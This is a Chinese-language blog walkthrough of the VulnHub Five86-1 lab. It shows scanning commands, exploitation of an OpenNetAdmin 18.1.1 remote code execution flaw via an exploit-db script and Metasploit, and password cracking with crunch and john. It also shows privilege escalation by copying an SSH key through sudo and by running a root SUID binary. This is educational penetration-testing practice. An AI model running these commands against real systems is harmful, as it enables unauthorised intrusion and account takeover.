由于这些文章都是从我的hexo博客上面复制下来的,所以有的图片可能不是很完整,但是不受影响,如果有疑问,可以在评论区留言,我看到之后会回复。
一.环境搭建
1.靶场描述
Five86-1 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
The ultimate goal of this challenge is to get root and to read the one and only flag.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won't give you the answer, instead, I'll give you an idea about how to move forward.
只有一个flag
2.靶场地址
https://www.vulnhub.com/entry/five86-1,417/
3.启动环境
虚拟机开启之后界面如上,我们不知道ip,需要自己探活,网段知道:192.168.52.0/24
二.渗透测试
1.目标
目标就是我们搭建的靶场,靶场IP为:192.168.52.0/24
2.信息收集
(1)寻找靶场真实ip
nmap -sP 192.168.52.0/24
arp-scan -l
靶场真实ip地址为192.168.52.132
(2)探测端口及服务
nmap -A -v -p- 192.168.52.132
发现开启了22端口, OpenSSH 7.9p1 Debian 10+deb10u1 (protocol 2.0)
发现开启了80端口,Apache httpd 2.4.38 ((Debian))
发现开启了10000端口,MiniServ 1.920 (Webmin httpd)
MiniServ服务我是第一次见,百度一下
也可以使用masscan进行探测
masscan --rate=10000 --ports 0-65535 192.168.52.132
(3)web指纹识别
whatweb -v 192.168.52.132
3.渗透测试
(1)访问web服务
http://192.168.52.132
没有任何东西
还有一个10000端口,我们进行访问http://192.168.52.132:10000
访问发现了登录界面,但是这里初步尝试了SQL注入漏洞,失败了。这里使用暴力破解难度还是很大的,并且极其花费时间且需要一个足够强大的字典文件,果断放弃爆破,继续收集有用信息
(2)扫描web服务
1)棱洞3.0指纹识别
./EHole_linux_amd64 finger -u http://192.168.52.132
2)nikto扫描网站结构
nikto -h http://192.168.52.132
我们扫描到一个robots.txt文件,我们进行访问
http://192.168.52.132/robots.txt
看到一个/noa
我们进行访问http://192.168.52.132/noa/,之前一直都没遇到过这种页面,百度查询一下opennetadmin
查看一下版本信息,发现是18.1.1版本
3)dirsearch目录扫描
dirsearch -u 192.168.52.132 -e * -x 403 --random-agent
没有如何新的信息
(3)漏洞利用
1)搜索漏洞
打开漏洞库https://www.exploit-db.com/,搜索有无该软件对应版本的漏洞利用文件
成功搜索到2个对应版本漏洞利用文件
2)kali搜索漏洞
在kali里面查询有无该版本的漏洞利用文件,如果有的话,直接就可利用
找到了,并且RCE也对应上了,进入该目录
cd /usr/share/exploitdb/exploits/php/webapps
然后执行
./47691.sh http://192.168.52.132/ona/login.php
我们可以看到攻击成功了,这里我们还可以使用另一个方法msfconsole进行攻击
3)msfconsole进行攻击
我们进行漏洞搜索
search opennetadmin
直接输入漏洞利用文件路径进行使用
use 0
查看需要配置那些参数
show options
设置对应参数
set RHOSTS 192.168.52.132 (目标靶机IP地址)
set LHOST 192.168.52.152 (本机IP地址)
我们进行攻击
攻击成功
(4)提权
1)使用python切换至交互式shell
shell
python -c 'import pty;pty.spawn("/bin/bash")'
我们进行搜集信息,一般情况下我们查看/var/www/html/路径文件
我们查看两个文件,一个是robots.txt,一个是reports,但是都没有用
我们查看隐藏文件,在reports目录中,发现了 .htaccess 隐藏文件,隐藏文件一般都会有提示信息,查看一下
是一个提示文件,提示我们/var/www/.htpasswd
是一个用户的账户密码,提示密码10位数且只有aefhrt**这些字符,那我们可以使用crunch生成密码字典
2)crunch生成密码
crunch 10 10 aefhrt -o /home/kali/桌面/MS02423.txt
Crunch是一种创建密码字典工具,按照指定的规则生成密码字典,可以灵活的制定自己的字典文件。使用Crunch工具生成的密码可以输出到屏幕,保存到文件、或另一个程序。
成功在指定路径生成了密码字典文件,接下来再把douglas用户的密码保存到另外一个文件中,文件路径为:/root/user.txt
3)john爆破密码
使用john爆破用户名密码
john --wordlist=/home/kali/桌面/MS02423.txt /home/kali/桌面/user.txt
爆破的时候突然卡住了,我把douglas用户的密码保存在了桌面上,爆破速度有点慢
爆破得到密码:fatherrrrr
4)ssh公匙免密登录jen用户
首先我们切换到douglas用户名,我们查看权限
发现可以使用cp命令使用jen用户权限免密执行,同时在douglas根目录下,看到隐藏文件**.ssh**
进入.ssh目录,发现是ssh公钥
在里面发现了id_rsa和id_rsa.pub两个文件,那么把它cp到jen目录下就可以使用ssh公匙免密登录jen了
将公钥复制到jen里:
cp id_rsa.pub /tmp/authorized_keys
chmod 777 /tmp/authorized_keys
sudo -u jen /bin/cp /tmp/authorized_keys /home/jen/.ssh
ssh jen@192.168.52.132
我们可以看到登录成功,而且有一封邮件
5)获取信息,得到moss用户密码
我们查看邮件,进入**/var/mail**邮箱路径进行查看
我们登录moss用户,我们查看权限
很可惜。moss用户无法以root权限执行任何命令
我们查看隐藏文件,看到有一个.games
我们进行访问,看到有一个文件是root用户
我们进行访问,访问后发现一个root权限的二进制文件upyourgame,我们进行执行文件就获取到了root权限
6)提权到root,查看flag
我们执行./upyourgame文件,然后一直输入yes即可
我们查看flag
三.相关资源
1.靶场下载地址
2.nmap
3.arp-scan
4.masscan
5.[ 常用工具篇 ] 渗透神器 whatweb 安装使用详解
6.[ 渗透工具篇 ] EHole(棱洞)3.0安装部署及详解(linux & win)
7.nikto工具的使用
8.dirsearch目录扫描
9.msfconsole工具的使用
10.crunsh和john工具的使用
11.ssh公钥
12.opennetadmin漏洞利用
13.邮箱路径/var/mail
14.MiniServ服务